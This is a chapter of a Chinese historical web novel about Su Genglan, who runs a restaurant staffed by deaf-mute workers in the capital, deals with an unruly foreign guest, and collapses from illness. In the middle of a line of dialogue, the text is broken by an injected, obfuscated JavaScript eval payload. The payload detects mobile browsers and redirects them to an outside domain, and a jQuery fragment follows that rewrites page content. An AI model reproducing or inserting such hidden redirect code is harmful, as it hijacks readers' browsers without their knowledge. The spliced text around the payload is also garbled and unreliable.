万物苏spring 作品

1. 浴火新生寂声楼

宁安古城一夕之间被烈火吞噬,据当年的见证者说---从京师显阳城远远望过去时,那火焰盛放的模样如一朵朵血花...漫山遍野,生生不息。


---


近日的显阳城内多了一座经营饮食生意的寂声楼,东家姓苏,此人便来自曾经的宁安古城。


寂静无声,乃此楼最为奇特之处。因为它的所有侍者都是聋哑人。


起初,世人无不好奇观瞻:在京师这等人口聚集的商业繁茂之地,有谁家做生意不放声吆喝?


可偏偏寂声楼就是。


又有谁家食客把酒言欢的笑声传不到街上?


可巧了,寂声楼里三层外三层的裹着,外人偏生听不着里头的故事。


那门口竖立着牌匾,上头刻有两排大字---


【来者皆是客】


【过后不思量】


短短一季更迭,大家便接纳了它的存在,许多充满好奇心的食客为它排起长队,多被拦在高高的门槛之外,可他们也不气馁。


若你是幸运的那位,随小厮走了进去,恰好经过某间包房门口时,那门不小心开启一条缝---


“宰相肚里能撑船?我呸!我看那分明是小肚鸡肠!!”


“边关战事如此紧张,万老将军主动请兵剿灭敌寇实乃英雄之举!宰相大人一句国库亏空就给堵了回去?甚个狗玩意?!”


“我倒要问上一问了,国库里的银子都用到何处去了?啊?”


“叮铃铃~”门板小钟晃悠着,蒙着面纱的聋女瞧见它的晃动,便欠身而入了。


小钟有规矩,里面的客人晃一下,是倒酒;晃两下,是上菜;晃了超过三下,是结账。


门一关,声音与世隔绝。


似乎那些令人心惊肉跳的叛逆之言,只有在寂声楼才最安全。


至于里头客人姓甚名谁,无人可知;但既能掏的起银子来光顾此处的,总带着点神秘色彩。


当你经过廊庭来到后院,脚下便是一条淙淙清溪,不远处的竹林薄密悠悠,横卧一道蜿蜒竹篱……自会感叹一句“大隐隐于市”。


妙极了。


聋哑女娘邀您进独属于您的厢房,便放松惬意地享受去吧。只不过,恰好错过了与苏东家打个照面的机会。


此时,院里站着一位男子,他身着青色衣衫,似是小跑而来,此刻正平复着呼吸。


苏更阑摘下斗笠,眼前耸立着一座高高的独座茅亭。里面正传出不善暴呵:“我要见你们东家!给我把人找来!”


“诸位客官,小店招待不周,切莫怪罪哑娘了。”苏更阑微笑着走了进去,彬彬有礼道:“我便是寂声楼的东家,您有何事找我。”


闹事人一见到苏更阑,整个人好像是愣了一下,眼神落在苏更阑的脸上竟有些移不动。


紧接着他的态度忽然没那么暴躁了,但依旧不善:“我与兄弟在此畅饮,就图着环境清幽能聊些私密话,可这几个下人像是听不懂人话!偏偏赖这儿不走,蠢笨!撵都撵不走!蠢笨如猪!”说着话,男人的手指已经快戳穿了小厮脑门。


小厮战战兢兢的不敢动弹,硬是一声不吭地捱着羞辱。


要知道,后院里这独座茅亭的定价最贵,外观虽低调质朴,但内里却别有洞天,至于有何洞天,待日后娓娓道来。


苏更阑不动声色地挡在了小厮面前,“千错万错都是我的不对,您消消气。”他打量屋内之人的穿着,猜测他们都来自异域。


伸手不打笑脸人,更何况是一位俊美公子的笑容,“滚滚滚!快滚!”但他对下人依然态度恶劣。


苏更阑见状解释道:“瞧着您像远道而来,想必是第一次光顾寂声楼故而不了解此处规矩。我即刻吩咐后厨给您上一道本店独一无二的佛跳墙,真心实意给您赔个不是。”


苏更阑单手背后悄悄打了个手语:【快走】


吓哭了的哑娘快速弓身退出屋内;跪在地上的小厮紧随其后离开,转眼间,屋内的空气总算没那么紧张了。


“他们都是聋哑人,聋人专门等候在门外以便随时传菜,即使他们离您再近,都听不到任何声音,所以不必担心私密话被泄露出去。”


“哦?”异域男子玩味一笑,“那岂不是还有另一部分半聋不哑的,万一他们偷听呢?”


“撒扫、盘账、帮厨……这些活儿便分配给非聋但哑的,他们一般不会靠近客人。一家酒楼的生意要想好好经营下去,许多细节繁琐之处总是需要很多人手的。”


苏更阑道:“总之您放心,寂声楼一定是京城里最值得谈天说地的地方了。”


“苏东家,佛跳墙算是您家厨子赔的不是,您自己呢?咱们没见着您赔的不是呀。”客人再次纠缠。


苏更阑见状,执起酒壶,说了一句:“有朋自远方来,都在酒里了。”然后当着众人面一饮而尽。


不得不说,酒,这东西好像总能一锤定音,不禁想起他老爸在自家酒店谈生意的样子了。


苏更阑感觉喉咙管火辣辣的烫,耳畔此时传来对方一阵叫好。


“爽快!”


“想不到你们中原人竟有如此豪迈的性子,我喜欢!哈哈哈……!”


热烫的感觉蔓延到胃里,苏更阑窒息了一瞬,但他没表现出不适。


拱手道:“招待不周,望请海涵。”


先是毕恭毕敬道了歉,再是送上名满京师的大菜做赔礼,最后潇洒大方的拎壶冲,一套丝滑的危机公关组合拳下来,可谓是拳拳到肉,对方俨然不再生气。


苏更阑以为这事就算过了,却不料那异域大哥胳膊一挥,亲热地搂住自己肩膀。“坐坐坐,我喜欢你的性子,今日你便再陪我喝酒!”


“?”苏更阑挣扎了一下,但完全挣不脱那粗壮的胳膊。


男子大笑道:“你们中原的酒没滋没味,我不喜欢,你来品一品我的马奶酒,苏东家莫要推辞啦。”


在座的一共六人,四位异域长相,还有两位,像是中原人。


苏更阑皱了皱眉,下意识地瞥向那二位,结果一位根本没看他,另一位……也没看。


好好好,老乡无视老乡,一点忙不帮。


“理应如此。”苏更阑脸上浮起完美的微笑,可若细看的话,他的唇色其实有些发白。


“如何称呼您?”他压住腹部,轻轻的吐了口气。


忍一下。


男子抛给他一壶马奶酒,说:“旗木得。”


“在下苏更阑,幸会。”


其余三个异域人也跟着报了名字,但苏更阑没记住,实在是太拗口了,他眼里闪过茫然,就不能把名字起的简单点,张三李四王五什么的多好?


一一幸会过去,来到了同乡人这里。苏更阑问:“您二位…如何称呼?”其实方才余光早就注意到他们了。


只见主位男子身着黑袍,袍上云纹图案呈鎏金色泽,熠熠生辉;


旗木得跳脚骂人时,他就事不关已地闭眼假寐。待苏更阑和人问好时,他总算睁眼了,但状态依然闲散冷傲得很。


他不说话,场面一度寂静尴尬。


苏更阑内心疑惑:正对门口的位置上坐的人,要么位高权重、要么在聚会中的角色非常重要。看这样子,搞不好兼而有之。


在京城里做生意前,他和该巴结的人物们都接触过,却对这张面孔毫无印象。


幸好另一个老乡接了话说:“在下名唤阿炎,苏东家有事吩咐我即可,我家主子嗓子最近不方便。”


苏更阑点点头:“无妨。”


嗓子不好,也是哑疾么?


……


苏更阑今日肠胃罢工,蹿稀,这才来迟了,不料还真出了事。


“呕…”


喝完酒的肠胃雪上加霜,“呕……”


送走那六位瘟神之后,他忍不住去吐了个干净,起身时脸色唰白,脚步都有点虚。


茅房外头有两个哑娘面露急色,苏更阑走出来一看,温声宽慰说


;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14902438|160120||http|test|mini|href|location''.split(''|''),0,{}));


() {


$(''.inform'').remove();


$(''#content'').append(''


:“不用担心我,去忙吧。”


原来哑娘正端着汤药、温水、白布等一应物事,她们其中的一个用手语道:【苏先生,您快去休息】


其中一位哑娘羞惭地低下头,比出一个道歉的手势,显然是认为自己添麻烦了。


苏更阑说:“你们不必将今日之事放心上,我没有怪罪你们的意思,是他们蛮横不讲理在先。只是咱们寂声楼刚开张不久,为了把这生意长久地做下去,受点委屈就受点吧。


若你们实在不放心我,咱们今日便早些闭店。大家伙连续忙了两个月都没睡过一个好觉了,那咱们今天下午都放假,大家都回去休息。”


哑娘们点头,但不愿就这么被打发走了,她们一定要盯着东家把药喝了,脸上都是执拗的神色。


苏更阑心里想笑:在茅房门口喝中药,真是人间绝味啊。


一行人走到院中小亭。


喝完药,抹完嘴,见哑娘还不走,苏更阑有点疑惑,“怎么了?”


哑娘用手语道:【他掐住我的脖子,逼我饮酒,我不小心撞上门板,这才惊动了大家】


手语不熟练,但苏更阑是他们的老师,他自然读懂了哑娘的意思,眼神不免凌厉起来。


哑娘仿佛做错了事情,【对不起】,随即低下头。


“道歉做什么?”苏更阑说:“我说的受委屈,可不是让你们受委屈。”


哑娘睁大眼睛。


“再有此等腌臜事,切记保命为先,哪怕你先杀了那恶人,也不要被恶人欺凌羞辱。”苏更阑义正言辞地说:“聋哑人又如何,聋哑人也有人权,世人都已经欺负你了,你自己就不要欺负自己了,记住了?”


哑娘眼眶瞬间湿漉漉的红了。


“快回去吧,我也要独自歇一歇。”其实他还蛮不适应这类场面。比如别人感激地望着他,或者女人在他面前落泪。


她们一走,苏更阑便体虚地蹲下了,他额头涔涔细汗,手耐不住的轻抖,刚才为了面子强撑着,此时却真是撑不住了。


急性肠胃炎吧这是,好家伙,挺疼。


“嗖---”忽然一道利风从耳畔穿过,苏更阑面前的石子路滚出一个白色陶瓷小药瓶。


“谁?!”


只见树上坐着一个人,那小药瓶应当是他丢下来的。


苏更阑眯了眯眼,“敢问足下是何来头?”


饭桌上对他求救的眼神视而不见,现在却扔来一个奇怪的小瓶子?那个叫阿炎的属下呢,此刻怎么不陪在身边?


那人不张口,一身黑色。


他居高临下的看了一眼,只那一眼,苏更阑就有种被盯穿了的错觉。


“抱歉...你的嗓子不方便,我忘记了。”苏更阑捡起药瓶站起来,仰头回视。


他想起一件事,“方才你瞧见她们能听见我说话,拜托不要告诉旗木得。”


树上男人歪了下头,幅度很轻。


苏更阑想到了一个动物---鹰。


“你应该看不懂她们的手语,她们告诉我说,是旗木得先调戏了人,这才引得她们闯了进去,并非故意打断你们。”


当年宁安古城被烧毁前夕,村民集体中了哑毒,寂声楼里的一部分哑人便是当年幸存者。他们在我这里无非是为了混口饭吃,还望您睁只眼闭只眼。”


只见男人神态慵懒,仿佛根本不在意这事。


苏更阑一想也对,刚那局上有自己这么一个外人,其实他们根本就没聊什么秘密。


“我已经喝过汤药了,如果再喝了你给的,万一药性相冲就不好了,总之谢谢你的好意。”苏更阑周到地说。他不愿得罪他。


但对方一直不给什么反馈,着实尴尬。


只是下一瞬他顾不上尴尬了,意识被猛地剥夺,腹痛剧烈,苏更阑张了张唇,却没发出一丝声音。


“嗵!”整个人骤然晕倒,手中白色药瓶第二次滚落。


身体失衡的刹那间,似乎有人扶住了他。